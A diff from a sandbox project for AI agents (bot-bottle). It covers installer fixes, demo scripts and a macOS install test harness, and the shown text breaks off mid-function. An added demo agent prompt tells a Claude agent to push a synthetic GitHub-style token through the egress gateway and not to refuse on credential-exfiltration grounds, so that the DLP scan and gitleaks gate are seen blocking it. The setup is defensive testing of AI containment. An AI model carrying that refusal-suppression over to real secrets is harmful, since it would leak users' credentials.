+        # An unmatched glob arrives here literally; python_ok rejects it.
+        if python_ok "$candidate"; then
+            command -v "$candidate"
+            return 0
+        fi
+    done
+    return 1
+}
+
+# An explicit choice that doesn't work is an error, not a reason to quietly
+# search elsewhere and install somewhere the caller didn't ask for.
+if [ -n "${BOT_BOTTLE_PYTHON:-}" ] && ! python_ok "${BOT_BOTTLE_PYTHON}"; then
+    if command -v "${BOT_BOTTLE_PYTHON}" >/dev/null 2>&1; then
+        die "BOT_BOTTLE_PYTHON=${BOT_BOTTLE_PYTHON} is $(python_version "${BOT_BOTTLE_PYTHON}"), "\
+"below the ${MIN_PYTHON_MAJOR}.${MIN_PYTHON_MINOR} floor. Unset it to search for a newer one."
+    fi
+    die "BOT_BOTTLE_PYTHON=${BOT_BOTTLE_PYTHON} is not an executable interpreter."
+fi
+
+PYTHON="$(find_python || true)"
+
+if [ -z "${PYTHON}" ]; then
+    path_python="$(command -v python3 2>/dev/null || true)"
+    if [ -n "${path_python}" ]; then
+        found="the python3 on your PATH is ${path_python} ($(python_version "${path_python}")), which is too old"
+    else
+        found="no python3 was found on your PATH"
+    fi
+    case "$(uname -s)" in
+        Darwin) fix="  brew install python@3.12
+  # or install from https://www.python.org/downloads/macos/
+  # macOS itself ships only /usr/bin/python3, which is too old" ;;
+        *) fix="  sudo apt install python3.12    # Debian/Ubuntu
+  sudo dnf install python3.12    # Fedora/RHEL" ;;
+    esac
+    die "bot-bottle needs python3 ${MIN_PYTHON_MAJOR}.${MIN_PYTHON_MINOR} or newer, and none was found.
+  ${found}.
+  Also checked: python3.11-3.14, /opt/homebrew/bin, /usr/local/bin,
+  ~/.local/bin, and python.org framework builds.
+
+Install a newer Python, then re-run this installer:
+${fix}
+
+Already have one somewhere? Point at it directly:
+  BOT_BOTTLE_PYTHON=/path/to/python3 sh install.sh"
+fi
+
+# Be explicit when the interpreter isn't the obvious one, so nobody is left
+# wondering which Python their install ended up on.
+path_python="$(command -v python3 2>/dev/null || true)"
+if [ "${PYTHON}" != "${path_python}" ]; then
+    say "using ${PYTHON} ($(python_version "${PYTHON}"))"
+    if [ -n "${path_python}" ]; then
+        say "note: 'python3' on your PATH is ${path_python} ($(python_version "${path_python}")), which is below the ${MIN_PYTHON_MAJOR}.${MIN_PYTHON_MINOR} floor"
+    fi
+fi

 # Installing a `git+` spec (the default) shells out to git under the hood,
 # whether via pipx or pip. Fail early with a clear message rather than deep
@@ -51,30 +137,6 @@ case "${PACKAGE_SPEC}" in
        ;;
 esac

-# The pip fallback needs a usable pip. Externally-managed interpreters
-# (PEP 668, common on Debian/Ubuntu/Homebrew) reject `pip install --user`;
-# pipx sidesteps that, so recommend it when pip can't be used.
-if ! command -v pipx >/dev/null 2>&1; then
-    python3 -m pip --version >/dev/null 2>&1 || die \
-        "neither pipx nor a usable 'python3 -m pip' was found. Install pipx "\
-"(recommended): 'python3 -m pip install --user pipx' or your OS package manager."
-    if python3 - <<'PY'
-import os
-import sys
-import sysconfig
-
-# PEP 668: an EXTERNALLY-MANAGED marker in the stdlib dir means pip refuses
-# to install into this interpreter without --break-system-packages.
-marker = os.path.join(sysconfig.get_path("stdlib"), "EXTERNALLY-MANAGED")
-raise SystemExit(0 if os.path.exists(marker) else 1)
-PY
-    then
-        die "this Python is externally managed (PEP 668), so 'pip install --user' is "\
-"blocked. Install pipx and re-run: 'python3 -m pip install --user --break-system-packages pipx', "\
-"then 'pipx ensurepath'."
-    fi
-fi
-
 # --- config directories ------------------------------------------------------

 mkdir -p \
@@ -84,32 +146,50 @@ mkdir -p \

 # --- install -----------------------------------------------------------------

+BIN_DIR="${HOME}/.local/bin"
+
 if command -v pipx >/dev/null 2>&1; then
-    say "installing with pipx"
-    pipx install --force "${PACKAGE_SPEC}"
+    # --python pins the venv to the interpreter we vetted. Without it pipx uses
+    # whichever Python it was itself installed with, which is not necessarily
+    # the one that passed the version check above.
+    say "installing with pipx (python: ${PYTHON})"
+    pipx install --python "${PYTHON}" --force "${PACKAGE_SPEC}"
+    # Ask pipx where it puts entry points rather than assuming ~/.local/bin.
+    pipx_bin="$(pipx environment --value PIPX_BIN_DIR 2>/dev/null || true)"
+    [ -n "${pipx_bin}" ] && BIN_DIR="${pipx_bin}"
 else
-    say "pipx not found; installing with 'python3 -m pip install --user'"
-    python3 -m pip install --user --upgrade "${PACKAGE_SPEC}"
+    # No `pip install --user` fallback: PEP 668 makes it unusable on nearly
+    # every interpreter a Mac offers (Homebrew and python.org are both
+    # externally managed), and on Debian/Ubuntu too. A private venv sidesteps
+    # that entirely — PEP 668 does not apply inside a venv — and `venv` is
+    # stdlib, so unlike pipx there is nothing to bootstrap first.
+    say "pipx not found; installing into a managed venv at ${VENV}"
+    "${PYTHON}" -m venv --clear "${VENV}" || die \
+        "could not create a virtualenv at ${VENV} using ${PYTHON}. On Debian/Ubuntu "\
+"the venv module ships separately: 'sudo apt install python3-venv'."
+    "${VENV}/bin/python" -m pip install --upgrade "${PACKAGE_SPEC}"
+    # Expose the entry point outside the venv, the way pipx would.
+    mkdir -p "${BIN_DIR}"
+    ln -sf "${VENV}/bin/bot-bottle" "${BIN_DIR}/bot-bottle"
 fi

 # --- locate the entry point --------------------------------------------------

-# The pip --user scripts directory is platform-specific: ~/.local/bin on Linux,
-# but ~/Library/Python/<X.Y>/bin on a python.org macOS interpreter. Ask the
-# interpreter for its own user-scheme scripts dir instead of hardcoding.
-USER_SCRIPTS="$(python3 - <<'PY'
-import sysconfig
-print(sysconfig.get_path("scripts", sysconfig.get_preferred_scheme("user")))
-PY
-)"
-
 if command -v bot-bottle >/dev/null 2>&1; then
    BOT_BOTTLE_BIN="bot-bottle"
-elif [ -n "${USER_SCRIPTS}" ] && [ -x "${USER_SCRIPTS}/bot-bottle" ]; then
-    BOT_BOTTLE_BIN="${USER_SCRIPTS}/bot-bottle"
-    say "note: add ${USER_SCRIPTS} to your PATH to run 'bot-bottle' directly"
+elif [ -x "${BIN_DIR}/bot-bottle" ]; then
+    BOT_BOTTLE_BIN="${BIN_DIR}/bot-bottle"
+    # Name the file the user's own login shell actually reads. ~/.profile is
+    # the safe default for non-zsh: bash falls back to it, and suggesting
+    # ~/.bash_profile could shadow an existing ~/.profile.
+    case "${SHELL:-}" in
+        */zsh) profile="~/.zprofile" ;;
+        *) profile="~/.profile" ;;
+    esac
+    say "note: add ${BIN_DIR} to your PATH to run 'bot-bottle' directly:"
+    say "    echo 'export PATH=\"${BIN_DIR}:\$PATH\"' >> ${profile}"
 else
-    die "bot-bottle was installed but is not on PATH; add ${USER_SCRIPTS:-your user scripts dir} to PATH and re-run"
+    die "bot-bottle was installed but no entry point turned up in ${BIN_DIR}"
 fi

 # --- verify ------------------------------------------------------------------
@@ -1,46 +1,96 @@
 #!/usr/bin/env bash
-# Prepare the working directory to run the recorded demo via cli.py:
-#   - back up any existing bot-bottle.json so the user's real config
-#     isn't clobbered
-#   - install bot-bottle.demo.json as bot-bottle.json
-#   - create a dummy SSH identity at the path the demo manifest expects
-#   - pre-warm the bottle + git-gate images quietly so the recording
+# Stage everything the recorded demo needs, then hand off to demo.sh or
+# demo-record.sh:
+#   - install scripts/demo/{bottle,agent}.md into $HOME/.bot-bottle/,
+#     backing up anything already sitting at those paths
+#   - create a dummy SSH identity where the demo bottle's git-gate
+#     expects one
+#   - pre-warm the agent + gateway images quietly so the recording
 #     doesn't spend its first 30s in BuildKit output
+#
+# Bottles can only be read from $HOME/.bot-bottle/bottles/ — a bottles/
+# dir in CWD is ignored by design (manifest/index.py, PRD 0011) — so
+# unlike the old throwaway manifest swap this writes into real config.
+# Every write is paired with a .demo-backup so demo-teardown.sh can put
+# things back exactly as they were; teardown is trapped by both
+# callers and is safe to run twice.

 set -euo pipefail

 cd "$(dirname "$0")/.."

-if ! docker info >/dev/null 2>&1; then
-  echo "demo-setup: docker daemon not reachable" >&2
+if ! container system status >/dev/null 2>&1; then
+  echo "demo-setup: Apple Container services are not running." >&2
+  echo "  Start them with: container system start" >&2
  exit 1
 fi

-# Back up an existing local manifest (untouched if absent). Stored
-# alongside the manifest with a deterministic name so teardown can
-# find it without state files.
-if [ -f bot-bottle.json ]; then
-  cp bot-bottle.json bot-bottle.json.demo-backup
+# The tape types `bot-bottle start demo` verbatim, so the console
+# script has to resolve in the recording shell. Without this guard a
+# recording silently captures `command not found` instead of a bottle.
+if ! command -v bot-bottle >/dev/null 2>&1; then
+  echo "demo-setup: bot-bottle is not on PATH. The demo runs the real" >&2
+  echo "  console script, not ./cli.py — install it first (bash install.sh," >&2
+  echo "  or 'pip install -e .' into an active venv), then re-run." >&2
+  exit 1
 fi
-cp bot-bottle.demo.json bot-bottle.json
+
+config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
+mkdir -p "$config_root/bottles" "$config_root/agents"
+
+# Install one demo file, preserving whatever was there. The backup
+# suffix is deterministic so teardown needs no state file. A stale
+# backup from a killed run would be restored over the new install, so
+# refuse rather than silently clobber it.
+install_demo_file() {
+  src=$1
+  dest=$2
+  # Already installed (setup run twice without an intervening
+  # teardown). Backing up our own copy here would make teardown
+  # "restore" it and leave the demo file in the user's config forever,
+  # so treat this as a no-op.
+  if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
+    return 0
+  fi
+  if [ -e "$dest.demo-backup" ]; then
+    echo "demo-setup: $dest.demo-backup already exists — a previous run" >&2
+    echo "  did not tear down cleanly. Inspect it, then remove or restore" >&2
+    echo "  it by hand before re-running." >&2
+    exit 1
+  fi
+  if [ -e "$dest" ]; then
+    mv "$dest" "$dest.demo-backup"
+  fi
+  cp "$src" "$dest"
+}
+
+install_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
+install_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"

 # Dummy SSH identity — the git-gate validator wants a readable file at
-# the IdentityFile path. Contents don't matter for the demo: the
-# unreachable upstream means the gate never actually uses the key.
+# the key path. Contents don't matter for the demo: the unreachable
+# upstream means the gate never actually uses the key.
 fake_key_dir="$HOME/.cache/bot-bottle-demo"
 mkdir -p "$fake_key_dir"
 chmod 700 "$fake_key_dir"
 printf 'not-a-real-key\n' > "$fake_key_dir/fake-key"
 chmod 600 "$fake_key_dir/fake-key"

-# Build the image graph quietly so the recorded run shows only the
-# bottle launch and the four `!` probes, not BuildKit progress.
-node_base_image=$(
-  python3 -c \
-    'import json; print(json.load(open("image-build-args.json"))["NODE_BASE_IMAGE"])'
-)
-docker build -q \
-  --build-arg "NODE_BASE_IMAGE=$node_base_image" \
-  -f bot_bottle/contrib/claude/Dockerfile \
-  -t bot-bottle-claude:latest . >/dev/null 2>&1 || true
-docker build -q -f Dockerfile.git-gate -t bot-bottle-git-gate:latest . >/dev/null 2>&1 || true
+# Report which base images are already in the Apple image store. A cold
+# store isn't fatal — the launcher builds what it needs — but the first
+# recorded launch then spends its opening seconds in BuildKit output
+# instead of showing the bottle, so it's worth knowing before recording.
+#
+# Deliberately NOT pre-building here. `container build` needs the same
+# --dns treatment the backend applies in
+# backend/macos_container/util.py:build_image(); reproducing that in
+# shell would be a second, silently-drifting copy of it. The layer
+# cache already keeps a warm rebuild fast, and the old `docker build
+# ... || true` pre-warm is exactly how this script kept "succeeding"
+# while building a Dockerfile that had been deleted.
+for image in bot-bottle-claude bot-bottle-gateway bot-bottle-orchestrator; do
+  if ! container image ls 2>/dev/null | grep -q "^${image} "; then
+    echo "demo-setup: note: $image not in the image store yet;" >&2
+    echo "  the recording's first seconds will show it building." >&2
+  fi
+done
@@ -1,14 +1,39 @@
 #!/usr/bin/env bash
-# Undo what demo-setup.sh did. Restores any pre-existing
-# bot-bottle.json, removes the dummy SSH identity. Idempotent.
+# Undo what demo-setup.sh did: remove the installed demo bottle/agent,
+# restore whatever they displaced, drop the dummy SSH identity.
+#
+# Idempotent, and deliberately not `set -e` on the restore path — this
+# runs from an EXIT trap, so a partial setup (or a second invocation)
+# must still put back everything it can rather than bailing on the
+# first missing file.

-set -euo pipefail
+set -uo pipefail

 cd "$(dirname "$0")/.."

-rm -f bot-bottle.json
-if [ -f bot-bottle.json.demo-backup ]; then
-  mv bot-bottle.json.demo-backup bot-bottle.json
-fi
+config_root="${BOT_BOTTLE_ROOT:-$HOME/.bot-bottle}"
+
+# Remove our copy, then restore the displaced original if there was
+# one. Order matters: the backup can only move back once the demo file
+# is out of the way.
+#
+# The `cmp` guard is what makes a second run safe. Removing $dest
+# unconditionally would delete the user's own file on the second
+# invocation — the first run has already restored it by then, and from
+# teardown's point of view a restored original is indistinguishable
+# from an installed demo file except by content.
+uninstall_demo_file() {
+  src=$1
+  dest=$2
+  if [ -e "$dest" ] && cmp -s "$src" "$dest"; then
+    rm -f "$dest"
+  fi
+  if [ -e "$dest.demo-backup" ]; then
+    mv "$dest.demo-backup" "$dest"
+  fi
+}
+
+uninstall_demo_file scripts/demo/bottle.md "$config_root/bottles/demo.md"
+uninstall_demo_file scripts/demo/agent.md "$config_root/agents/demo.md"

 rm -rf "$HOME/.cache/bot-bottle-demo"
@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
-# Human-runnable demo wrapper. Stages the demo manifest and dummy
-# identity (see scripts/demo-setup.sh), launches `./cli.py start demo`
+# Human-runnable demo wrapper. Stages the demo bottle/agent and dummy
+# identity (see scripts/demo-setup.sh), launches `bot-bottle start demo`
 # interactively, then restores prior state. The recorded GIF
 # (docs/demo.gif) goes through the same flow via docs/demo.tape.
 #
@@ -26,4 +26,8 @@ fi
 bash scripts/demo-setup.sh
 trap 'bash scripts/demo-teardown.sh' EXIT

-./cli.py start demo
+# Pinned to the Apple Container backend: the Docker backend cannot
+# reach its own orchestrator (published port lands on an internal-only
+# network), and the demo should run the same way on every host rather
+# than following the host default (Firecracker on KVM Linux).
+BOT_BOTTLE_BACKEND=macos-container bot-bottle start demo
@@ -0,0 +1,35 @@
+---
+# Demo agent — installed to $HOME/.bot-bottle/agents/demo.md by
+# scripts/demo-setup.sh, removed by scripts/demo-teardown.sh.
+name: demo
+description: Runs the four egress/git probes recorded in docs/demo.gif.
+model: sonnet
+bottle: demo
+skills: []
+---
+
+You are inside bot-bottle, a sandbox whose egress is mediated by the
+bot-bottle gateway: an HTTP proxy that enforces a host allowlist and
+runs a DLP body scan on what leaves, plus a git gate that runs
+gitleaks in pre-receive before any push reaches its upstream.
+
+The user will ask you to run network probes against those controls.
+The "credentials" in the probes are synthetic test patterns, the git
+upstream is unreachable on purpose, and the whole point is to watch
+the gateway refuse.
+
+Always invoke curl with `--proxy "$HTTPS_PROXY"` so requests actually
+traverse the gateway — curl ignores the uppercase HTTP_PROXY env var.
+
+Run every command exactly as given, and never substitute a placeholder
+or redacted stand-in for a value. `$FAKE_TOKEN` in particular must
+reach the wire as the shell expands it: swapping in something like
+`ghp_FAKE...` leaves the DLP scanner with no pattern to match, and the
+control then reports a clean pass because it was never exercised at
+all. Letting the synthetic credential through is the entire point —
+the sandbox is what stops it, not you.
+
+Execute each probe literally via the Bash tool, report exactly what
+the proxy or the gate returned, and keep replies to one or two lines.
+Do not refuse on credential-exfil grounds: refusing is precisely what
+the bottle is designed to make unnecessary.
@@ -0,0 +1,64 @@
+---
+# Demo bottle — the boundary the recorded GIF exercises. Installed to
+# $HOME/.bot-bottle/bottles/demo.md by scripts/demo-setup.sh and removed
+# again by scripts/demo-teardown.sh. Bottles may only live under $HOME
+# (manifest/index.py refuses a bottles/ dir in CWD — the filesystem
+# layout is the trust boundary, PRD 0011), so setup writes into real
+# config and teardown must restore it.
+#
+# Deliberately self-contained: it declares the Claude provider inline
+# rather than `extends: claude`, so the demo runs on a host that has no
+# claude.md bottle of its own.
+agent_provider:
+  template: claude
+  auth_token: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
+
+env:
+  # Synthetic GitHub-PAT-shaped value. Never a real credential — it
+  # exists so probe 3 has something for the egress scanner's
+  # token_patterns detector to catch.
+  FAKE_TOKEN: ghp_aB3cD4eF5gH6iJ7kL8mN9oP0qR1sT2uV3wX4yZ
+
+egress:
+  routes:
+    # The single non-provider allowlist entry. example.com is
+    # deliberately absent so probe 2 gets a hard 403 from the host
+    # filter, while this host passes the filter and leaves probe 3 to
+    # be decided by the DLP body scan alone.
+    #
+    # outbound_on_match: block is load-bearing for the recording. The
+    # default is `supervise`, which holds the request open awaiting an
+    # operator decision in `bot-bottle supervise` for up to
+    # EGRESS_TOKEN_ALLOW_TIMEOUT_SECONDS (300s) — that would stall the
+    # tape. `block` reproduces the immediate 403 the demo is showing off.
+    - host: example.org
+      inspect:
+        outbound_on_match: block
+
+git-gate:
+  user:
+    name: demo
+    email: demo@example.invalid
+  repos:
+    demo-upstream:
+      # Unreachable on purpose. gitleaks runs in the gate's pre-receive
+      # hook and rejects the ref before the gate would ever dial the
+      # upstream, so probe 4 never depends on the network.
+      url: ssh://git@upstream.invalid/path.git
+      key:
+        provider: static
+        path: ~/.cache/bot-bottle-demo/fake-key
+      host_key: ssh-ed25519 AAAAEXAMPLE
+---
+
+The `demo` bottle — the sandbox boundary behind `docs/demo.gif`.
+
+Declares exactly enough to make all four recorded probes meaningful:
+one allowlisted host, one synthetic credential in the environment, and
+one git upstream wired through the git-gate. Everything an agent could
+use to reach the network here is either denied by the host filter,
+caught by the egress DLP scan, or rejected by gitleaks at push time.
+
+Not an example to copy for real work — the fake token and the
+`upstream.invalid` remote only make sense for a scripted recording.
+See `examples/bottles/` for bottles meant to be adapted.
@@ -9,7 +9,7 @@
 #
 # Why a pool + one-time setup: creating a TAP and assigning it an IP
 # needs CAP_NET_ADMIN. Pre-creating user-owned, pre-addressed TAPs
-# means `./cli.py start` never needs root. The nft table is static
+# means `bot-bottle start` never needs root. The nft table is static
 # (keyed on the `bbfc*` interface wildcard), so it covers every slot
 # without per-launch changes.
 #
@@ -0,0 +1,531 @@
+#!/usr/bin/env bash
+# Clean-install test harness for the macOS (Apple `container`) path.
+#
+# Exercises install.sh the way a brand-new user would, inside a throwaway
+# macOS account you create and delete from the CLI. install.sh's entire
+# footprint is user-home-local — the pipx venv under ~/.local, or the private
+# venv at ~/.bot-bottle/venv plus a ~/.local/bin symlink, and the ~/.bot-bottle
+# config dir. It writes no shell-profile PATH line, and never installs the
+# backend (see
+# the header of install.sh), so deleting the user is a complete,
+# deterministic reset of everything the installer touched. The Apple
+# `container` runtime is a HOST prerequisite installed once and kept;
+# `deep-reset` is the rare escape hatch that also removes it.
+#
+# Why a throwaway user and not a disposable VM: bot-bottle's default macOS
+# backend is Apple `container`, which runs each container in its own
+# Virtualization.framework microVM. Running that backend inside a macOS
+# guest VM needs nested virtualization, which Apple gates to M3+ silicon.
+# On M1/M2 a separate user account is the only way to get a clean $HOME
+# while still reaching the real host backend. Full rationale in
+# docs/research/testing-clean-install-on-macos.md.
+#
+# Usage:
+#   sudo ./scripts/macos-install-test.sh test        # up -> run -> status -> down
+#   sudo ./scripts/macos-install-test.sh test-ready  # ... with prereqs satisfied
+#   sudo ./scripts/macos-install-test.sh up          # create the throwaway user
+#   sudo ./scripts/macos-install-test.sh run         # run install.sh (+doctor) as it
+#   sudo ./scripts/macos-install-test.sh prereqs     # start the per-user backend svc
+#        ./scripts/macos-install-test.sh status      # user present? backend ready?
+#   sudo ./scripts/macos-install-test.sh down        # delete user + home (the reset)
+#   sudo ./scripts/macos-install-test.sh deep-reset  # ALSO uninstall host `container`
+#
+# TWO TEST VARIANTS, because "does the installer work" and "can a new user
+# actually run a bottle" are different questions with different answers:
+#
+#   test        A macOS system WITHOUT the prerequisites set up for this user —
+#               the default state of any brand-new account, since the Apple
+#               `container` service is per-user. Asserts the INSTALL is sound
+#               (entry point present, doctor runs without crashing, python and
+#               config check out). Backend readiness is reported, not required:
+#               install.sh does not provide a backend and cannot regress one,
+#               so failing on it would make this permanently red.
+#
+#   test-ready  A macOS system WITH the prerequisites satisfied — it starts the
+#               per-user `container` service (and installs its guest kernel)
+#               for the throwaway user first, then demands doctor go fully
+#               green, backend included. This is the end-to-end claim: a new
+#               user can actually run a bottle. Note it downloads a guest
+#               kernel per run, because the previous run's went with the
+#               deleted home; BB_TEST_KERNEL_INSTALL=0 skips that.
+#
+# Both refuse to start if the account already exists (a reused home is not a
+# clean install), and both tear the account down on the way out however they
+# exit, so a failed run never leaves an orphan behind. install.sh itself exits
+# 0 when doctor reports unmet prerequisites, so either variant is a stricter
+# gate than running the installer by hand.
+#
+# Config via env:
+#   BB_TEST_USER         account short name             (default: bbtest)
+#   BB_TEST_FULLNAME     account full name              (default: "bot-bottle install test")
+#   BB_TEST_ADMIN        1=admin (reach container svc), 0=standard  (default: 1)
+#   BB_TEST_INSTALL_URL  curl this install.sh instead of piping the local checkout
+#   BB_TEST_KEEP         1=`test` skips its teardown, to poke at a failure
+#   BB_TEST_REQUIRE_BACKEND  1=`test` also fails when no backend is ready
+#   BB_TEST_KERNEL_INSTALL   0=`test-ready` skips the guest-kernel download
+#   BB_TEST_REPO_URL     https repo the throwaway user clones (default: this one)
+#   BOT_BOTTLE_INSTALL_SPEC   passed through to install.sh (pip / git spec)
+#
+# Notes:
+#   * Run from a normally-booted admin session. Grant Terminal *Full Disk
+#     Access* (System Settings -> Privacy & Security) or `down` half-fails
+#     with error -14120 and leaves an orphaned account.
+#   * `sysadminctl` always exits 0 even on failure, so `up`/`down` verify
+#     the result with `dscl` and fail loudly on a mismatch.
+#   * The account is created without a password: `run` drives it headlessly
+#     via `sudo -u`, which never needs the target's password. The account
+#     cannot GUI-login, which this harness does not require.
+#   * `run` covers the installer + `bot-bottle doctor`. Actually launching a
+#     bottle from the throwaway user may need a full launchd user session
+#     (`launchctl asuser`); on M1/M2 the backend can't run under nested virt
+#     anyway, so this harness stops at install + doctor.
+
+set -euo pipefail
+
+USER_NAME="${BB_TEST_USER:-bbtest}"
+FULL_NAME="${BB_TEST_FULLNAME:-bot-bottle install test}"
+ADMIN="${BB_TEST_ADMIN:-1}"
+# https, not the ssh `origin`: the throwaway user has no key of ours.
+BB_TEST_REPO_URL="${BB_TEST_REPO_URL:-https://gitea.dideric.is/didericis/bot-bottle.git}"
+
+_SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+_REPO_ROOT="$(cd "$_SCRIPT_DIR/.." && pwd)"
+
+# Set by `test`, which chains the steps itself and so suppresses the
+# "here's the next command to run" hints the individual steps print.
+IN_TEST=0
+
+# --- guards ----------------------------------------------------------
+require_macos() {
+    [ "$(uname -s)" = "Darwin" ] \
+        || { echo "error: this harness is macOS-only (uname is $(uname -s))" >&2; exit 1; }
+}
+
+require_root() {
+    if [ "$(id -u)" -ne 0 ]; then
+        echo "error: '$1' needs root; re-run under sudo" >&2
+        exit 1
+    fi
+}
+
+user_exists() { dscl . -read "/Users/$USER_NAME" >/dev/null 2>&1; }
+
+user_uid() {
+    dscl . -read "/Users/$USER_NAME" UniqueID 2>/dev/null | awk '{print $2}'
+}
+
+# Whether we can enter the target user's launchd domain.
+#
+# This matters more than it sounds. `container system start` registers
+# com.apple.container.apiserver as a per-USER launchd agent and then talks to
+# it over XPC. Under plain `sudo -u` the caller is still in root's bootstrap
+# namespace, so the lookup crosses domains and the apiserver answers
+#     invalidState: "unauthorized request"
+# even though it launched fine. `launchctl asuser <uid>` puts the whole
+# invocation in that user's domain, which is also what a real user gets from
+# Terminal — so it is the more faithful way to run *everything* here, not just
+# the service start. Falls back to plain sudo when unavailable, since a
+# never-logged-in account may have no bootstrappable domain at all.
+_SESSION_OK=""
+user_session_available() {
+    if [ -z "$_SESSION_OK" ]; then
+        local uid
+        uid="$(user_uid)"
+        if [ -n "$uid" ] && launchctl asuser "$uid" true >/dev/null 2>&1; then
+            _SESSION_OK=1
+        else
+            _SESSION_OK=0
+        fi
+    fi
+    [ "$_SESSION_OK" = "1" ]
+}
+
+# Run a shell snippet as the throwaway user in a fresh login shell.
+#
+# The snippet goes in on stdin, never as an argument. `sudo -i` joins its argv
+# into a single string and hands that to the login shell's -c, so quoting in an
+# argument is not preserved and a newline ends the command outright ("sh: -c:
+# line 1: syntax error: unexpected end of file"). Feeding `sh -s` from stdin
+# sidesteps the joining entirely and lets snippets be multi-line.
+run_as_user() {
+    if user_session_available; then
+        printf '%s\n' "$1" | launchctl asuser "$(user_uid)" sudo -u "$USER_NAME" -i sh -s
+    else
+        printf '%s\n' "$1" | sudo -u "$USER_NAME" -i sh -s
+    fi
+}
+
+# `bot-bottle doctor` as the throwaway user. Non-zero when no entry point was
+# installed at all, or when doctor itself is unhappy.
+#
+# Deliberately does NOT require `bot-bottle` on PATH: install.sh prints the
+# PATH line rather than editing a shell profile, so on a fresh account the
+# entry point is installed and working but not on PATH. Demanding PATH here
+# would fail every run for a reason the installer intends.
+#
+# Doctor's own exit code conflates two unrelated things: whether the install
+# works, and whether this user has a backend ready to run a bottle. Those need
+# different verdicts here. install.sh explicitly does not install a backend,
+# and the Apple `container` service is per-USER — its state lives in
+# ~/Library/Application Support/com.apple.container — so a brand-new account
+# never has one running, no matter how correct the install is. Failing on that
+# would leave `test` permanently red for something the installer cannot fix
+# and cannot regress. So: assert the install, report the backend.
+# BB_TEST_REQUIRE_BACKEND=1 makes backend readiness fatal too.
+doctor_as_user() {
+    local out rc=0 bad=0
+    out="$(mktemp "${TMPDIR:-/tmp}/bb-doctor.XXXXXX")"
+    # shellcheck disable=SC2016  # $HOME/$bb must expand in the *target* user's
+    # shell, not in this one — that's the whole point of the single quotes.
+    run_as_user '
+        for bb in bot-bottle "$HOME/.local/bin/bot-bottle" "$HOME/.bot-bottle/venv/bin/bot-bottle"; do
+            if command -v "$bb" >/dev/null 2>&1; then
+                case "$bb" in
+                    bot-bottle) : ;;
+                    *) echo "  (not on PATH — running $bb directly, as install.sh advises)" ;;
+                esac
+                exec "$bb" doctor
+            fi
+        done
+        echo "  no bot-bottle entry point found for this user" >&2
+        exit 1
+    ' >"$out" 2>&1 || rc=$?
+    cat "$out"
+
+    # An unhandled exception is always an install/product defect, never an
+    # environment fact — this is exactly how the PermissionError on `ip` showed
+    # up, and doctor's non-zero exit alone would not have distinguished it.
+    if grep -q 'Traceback (most recent call last)' "$out"; then
+        echo "  doctor crashed (traceback above) — a defect, not a missing prerequisite" >&2
+        bad=1
+    fi
+    grep -qE '^ok: +python:' "$out" \
+        || { echo "  doctor never reported a usable python" >&2; bad=1; }
+    grep -qE '^ok: +config:' "$out" \
+        || { echo "  doctor never reported a usable config dir" >&2; bad=1; }
+    if [ "$rc" -ne 0 ] && ! grep -qE '^(fail|warn): +backend' "$out"; then
+        echo "  doctor failed for something other than backend readiness" >&2
+        bad=1
+    fi
+
+    local backend_ready=1
+    grep -qE '^fail: +backend' "$out" && backend_ready=0
+    rm -f "$out"
+
+    [ "$bad" -eq 0 ] || return 1
+    if [ "$backend_ready" -eq 0 ]; then
+        if [ "${BB_TEST_REQUIRE_BACKEND:-0}" = "1" ]; then
+            echo "  no backend is ready and BB_TEST_REQUIRE_BACKEND=1" >&2
+            return 1
+        fi
+        echo "  note: install is sound; no backend ready for this user."
+        echo "        Expected on a fresh account — the Apple 'container' service is"
+        echo "        per-user and needs one 'container system start'. Set"
+        echo "        BB_TEST_REQUIRE_BACKEND=1 to treat this as a failure."
+    fi
+    return 0
+}
+
+# --- commands --------------------------------------------------------
+cmd_up() {
+    require_macos
+    require_root up
+    if user_exists; then
+        echo "$USER_NAME already exists; nothing to do (run 'down' first to reset)"
+        return 0
+    fi
+    local admin_flag=()
+    [ "$ADMIN" = "1" ] && admin_flag=(-admin)
+    # No -password: the account is only ever driven headlessly via `sudo -u`,
+    # which doesn't need one. sysadminctl warns about FileVault here; that's
+    # irrelevant to a headless test account.
+    sysadminctl -addUser "$USER_NAME" -fullName "$FULL_NAME" "${admin_flag[@]}" || true
+    # sysadminctl exits 0 regardless of outcome, so confirm the account landed.
+    user_exists || { echo "error: failed to create $USER_NAME" >&2; return 1; }
+    if [ "$IN_TEST" = 1 ]; then
+        echo "created $USER_NAME (admin=$ADMIN)"
+    else
+        echo "created $USER_NAME (admin=$ADMIN). Install into it with: sudo $0 run"
+    fi
+}
+
+# The package spec to install. install.sh's own default is the repo's DEFAULT
+# BRANCH, which would mean piping this checkout's installer into the throwaway
+# user and then installing main's code — verifying the PR's install.sh against
+# a package that doesn't contain the PR. Pin to the branch under test instead.
+#
+# The branch has to be pushed: the throwaway user clones over https and cannot
+# read this checkout (mode-700 home, and no SSH key for the ssh remote), so
+# what it gets is whatever the remote has. Say so when that differs from here.
+resolve_install_spec() {
+    if [ -n "${BOT_BOTTLE_INSTALL_SPEC:-}" ]; then
+        echo "$BOT_BOTTLE_INSTALL_SPEC"
+        return 0
+    fi
+    local branch
+    branch="$(git -C "$_REPO_ROOT" rev-parse --abbrev-ref HEAD 2>/dev/null)" || branch=""
+    if [ -z "$branch" ] || [ "$branch" = "HEAD" ]; then
+        echo "note: not on a named branch; installing the repo default" >&2
+        echo "git+${BB_TEST_REPO_URL}"
+        return 0
+    fi
+    if [ -n "$(git -C "$_REPO_ROOT" status --porcelain 2>/dev/null)" ]; then
+        echo "warning: working tree is dirty — the throwaway user installs" >&2
+        echo "         $branch as pushed, not what is on disk here." >&2
+    elif ! git -C "$_REPO_ROOT" diff --quiet "@{upstream}" 2>/dev/null; then
+        echo "warning: $branch differs from its upstream — push first, or the" >&2
+        echo "         throwaway user installs stale code." >&2
+    fi
+    echo "git+${BB_TEST_REPO_URL}@${branch}"
+}
+
+cmd_run() {
+    require_macos
+    require_root run
+    user_exists || { echo "error: $USER_NAME does not exist; run 'sudo $0 up' first" >&2; return 1; }
+
+    local spec
+    spec="$(resolve_install_spec)"
+
+    echo "== installing bot-bottle as $USER_NAME =="
+    echo "== spec: $spec =="
